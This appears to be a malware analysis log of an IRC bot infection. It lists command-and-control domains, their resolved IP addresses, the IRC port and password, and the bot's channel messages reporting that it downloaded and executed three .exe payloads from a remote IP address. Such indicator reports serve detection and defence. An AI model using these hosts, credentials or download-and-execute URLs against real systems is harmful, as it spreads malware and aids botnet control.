DNS:
 ng.marketallone.com 
 api.wipmania.com 
 ng.themarketbaby.com 
 ng.grasshopperz11.com
Resolved : [ng.grasshopperz11.com] To [123.183.217.32]
 Resolved : [ng.grasshopperz11.com] To [60.190.218.104]
 Resolved : [ng.grasshopperz11.com] To [59.63.157.62]
 Resolved : [ng.grasshopperz11.com] To [59.53.91.167]
 Resolved : [ng.grasshopperz11.com] To [60.190.223.125]
Resolved : [ng.marketallone.com] To [60.190.223.125]
 Resolved : [ng.marketallone.com] To [59.63.157.62]
 Resolved : [ng.marketallone.com] To [60.190.218.104]
 Resolved : [ng.marketallone.com] To [123.183.217.32]
 Resolved : [ng.marketallone.com] To [59.53.91.167]
Resolved : [ng.themarketbaby.com] To [59.63.157.62]
 Resolved : [ng.themarketbaby.com] To [59.53.91.167]
 Resolved : [ng.themarketbaby.com] To [60.190.218.104]
 Resolved : [ng.themarketbaby.com] To [60.190.223.125]
 Resolved : [ng.themarketbaby.com] To [123.183.217.32]
 Remote Host Port Number
 ng.marketallone.com 7196 PASS laorosr 
 ng.themarketbaby.com 7196 PASS laorosr 
 ng.grasshopperz11.com 7196 PASS laorosr
MODE [N00_USA_XP_9428231]
 @ -ix
 PRIVMSG #us :[d=”http://91.200.241.40/dq.exe” s=”49943 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data2.tmp” – Download retries: 0
 PRIVMSG #us :[d=”http://91.200.241.40/us5.exe” s=”46893 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data3.tmp” – Download retries: 0
 PRIVMSG #us :[d=”http://91.200.241.40/nw122.exe” s=”50679 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.tmp” – Download retries: 0
Hosting infos:
 http://whois.domaintools.com/59.63.157.62